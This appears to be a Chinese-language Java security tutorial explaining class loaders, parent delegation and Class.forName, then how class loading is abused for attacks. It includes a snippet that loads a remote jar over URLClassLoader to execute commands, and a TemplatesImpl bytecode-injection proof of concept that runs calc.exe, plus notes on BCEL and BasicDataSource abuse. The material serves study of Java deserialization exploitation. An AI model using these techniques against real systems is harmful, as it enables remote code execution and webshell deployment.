前言 我们通常会把编程语言的处理器分为解释器 和编译器 。解释器是一种用于执行程序的软件,它会根据程序代码中的算法执行运算,逐行读取源代码,逐行解释执行 ,如果这个执行软件是根据虚拟的或者类似机器语言的程序设计语言写成,那也称为虚拟机 。编译器则是将某种语言代码转换为另外一种语言的程序,通常会转换为机器语言。
例如php就是解释型语言。每个平台都有对应的php解释器版本,指针对不同平台均编译出目标平台的二进制码;php解释器会将PHP代码解释为opcode之后再交由Zend引擎执行。
Java 字节码 Java混用解释器和编译器 ,在运行之前需要先编译一遍,编译过后就会形成.class文件,然后运行在不同平台的JVM虚拟机中
所以字节码就是能在JVM虚拟机 中加载成一个类的字节序列
classloader Java类初始化的时候会调用java.lang.ClassLoader 加载类字节码
1 2 this .getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld" );
loadClass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { Class<?> c = findLoadedClass(name); if (c == null ) { long t0 = System.nanoTime(); try { if (parent != null ) { c = parent.loadClass(name, false ); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { } if (c == null ) { long t1 = System.nanoTime(); c = findClass(name);
ClassLoader类的加载策略 类加载器的分类
从Java虚拟机的角度来说 只存在两种不同的类加载器:一种是启动类加载器(Bootstrap ClassLoader) ,这个类加载器使用C++语言实现(HotSpot虚拟机中),是虚拟机自身的一部分,不能被java程序直接调用; 另一种就是所有其他的类加载器,这些类加载器都有Java语言实现,独立于虚拟机外部,并且全部继承自java.lang.ClassLoader
从加载范围的角度来说 启动类加载器(Bootstrap ClassLoader):这个类加载器负责将将 Java_Home/lib 下的类库加载到虚拟机内存中,
扩展类加载器(Extendsion ClassLoader):这个类加载器负责加载Java_Home\lib\ext 下的类库,用来加载java的扩展库,开发者可以直接使用这个类加载器.
应用程序类加载器(Application ClassLoader):这个类加载器负责加载用户类路径(CLASSPATH )下的类库,一般我们编写的java类都是由这个类加载器加载
类加载模型 如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的加载器都是如此,因此所有的类加载请求都会传给顶层的启动类加载器,只有当父加载器反馈自己无法完成该加载请求(该加载器的搜索范围中没有找到对应的类)时,子加载器才会尝试自己去加载(递归实现的,上面代码已经给出实现过程)
它们之间的层次关系被称为类加载器的双亲委派模型 ,注意这里的“继承顺序”实际上是加载顺序,实际上AppClassLoader和ExtClassLoader是平行的,都是继承于URLClassLoader
类加载隔离 JVM 及 Dalvik 对类唯一的识别是 ClassLoader id + PackageName + ClassName,所以一个运行程序中是有可能存在两个包名和类名完全一致的类的。并且如果这两个”类”不是由一个 ClassLoader 加载,是无法将一个类的示例强转为另外一个类的,这就是 ClassLoader 隔离
URLClassLoader URLClassLoader继承了ClassLoader,且ExtClassLoader、AppClassLoader等都是 URLClassLoader 的子类 ,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 / 定义远程加载的jar路径 URL url = new URL("https://anbai.io/tools/cmd.jar" ); URLClassLoader ucl = new URLClassLoader(new URL[]{url}); String cmd = "ls" ; Class cmdClass = ucl.loadClass("CMD" ); Process process = (Process) cmdClass.getMethod("exec" , String.class).invoke(null , cmd);
Class.forName() 类的初始化:是完成程序执行前的准备工作。在这个阶段,静态的(变量,方法,代码块)会被执行。同时在会开辟一块存储空间用来存放静态的数据。
类的实例化:是指创建一个对象的过程。这个过程中会在堆中开辟内存,将一些非静态的方法(构造代码块,构造方法等等),变量存放在里面。在程序执行的过程中,可以创建多个对象,既多次实例化。每次实例化都会开辟一块新的内存。
与ClassLoader.loadClass()的区别
forName() 默认会对类进行初始化 ,会执行类中的 static 代码块 。而ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。
Class.forName不支持原生类型,Class.loadClass不能加载原生类型和数组类型 (不管该数组的类型是否可以被加载)1 2 3 Class.forName(className) Class.forName(className, true , currentLoader)
1 2 Class.forName("com.anbai.sec.classloader.TestHelloWorld" );
类加载机制的利用 利用TemplatesImpl加载字节码 defineClass可以将字节码注册为类,但是由于defineClass方法是受保护的,只能在ClassLoader的子类中使用,而且需要足够的权限和访问级别。Class.forName 方法并不提供直接访问ClassLoader的defineClass方法的途径 但是有一些Java底层的类用到了它,如TemplatesImpl TemplatesImpl类是Java XSLT编译器 (XML到另一个XML转换的规则和操作)的一个实现类,负责将XSLT模板转换成XML数据,定义了创建和操作XSLT模板的方法。 利用链: //TemplatesImpl#getOutputProperties TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } } public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; } private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1 ) { _auxClasses = new HashMap<>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } ............... Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public evil () throws Exception { super (); String[] command = {"calc.exe" }; Runtime.getRuntime().exec(command); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class de1class { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = new byte [][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}; TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "mayylu" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); obj.newTransformer(); } }
利用BCEL加载字节码 BCEL的全名应该是Apache Commons BCEL ,属于Apache Commons项目下的一个子项目。提供了一系列用于分析、创建、修改Java Class文件的API,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader (注意在Java 8u251 以后,com.sun.org.apache.bcel.internal.util.ClassLoader类被删除)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 public class ClassLoader extends java .lang .ClassLoader { private String[] ignored_packages = { "java." , "javax." , "sun." }; private java.lang.ClassLoader deferTo = ClassLoader.getSystemClassLoader(); protected Class loadClass (String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null ; if ((cl=(Class)classes.get(class_name)) == null ) { for (int i=0 ; i < ignored_packages.length; i++) { if (class_name.startsWith(ignored_packages[i])) { cl = deferTo.loadClass(class_name); break ; } } if (cl == null ) { JavaClass clazz = null ; if (class_name.indexOf("$$BCEL$$" ) >= 0 ) clazz = createClass(class_name); else { if ((clazz = repository.loadClass(class_name)) != null ) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); } if (clazz != null ) { byte [] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0 , bytes.length); } else cl = Class.forName(class_name); } if (resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }
可见使用该自定义类加载器时特定情况下可以把传入的类名转换成字节码加载 BasicDataSource的toString()方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法,在createConnectionFactory方法中,调用了Class.forName(driverClassName, true, driverClassLoader)